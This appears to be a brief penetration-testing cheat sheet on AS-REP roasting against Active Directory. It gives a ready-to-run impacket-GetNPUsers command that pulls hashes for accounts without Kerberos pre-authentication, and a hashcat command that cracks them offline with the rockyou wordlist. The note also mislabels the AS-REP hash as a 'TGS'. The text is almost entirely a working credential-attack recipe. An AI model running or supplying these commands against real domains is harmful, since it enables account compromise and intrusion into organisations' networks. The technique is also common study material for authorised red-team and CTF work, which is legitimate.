AS_REP Roasting

Get a TGS

List users with `DONT_REQUIRE_PREAUTH` and request TGS for them:

impacket-GetNPUsers domain/ -no-pass -usersfile users -dc-ip <IP>

Don't forget the `-dc-ip`!

Crack TGS

With hashcat:

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt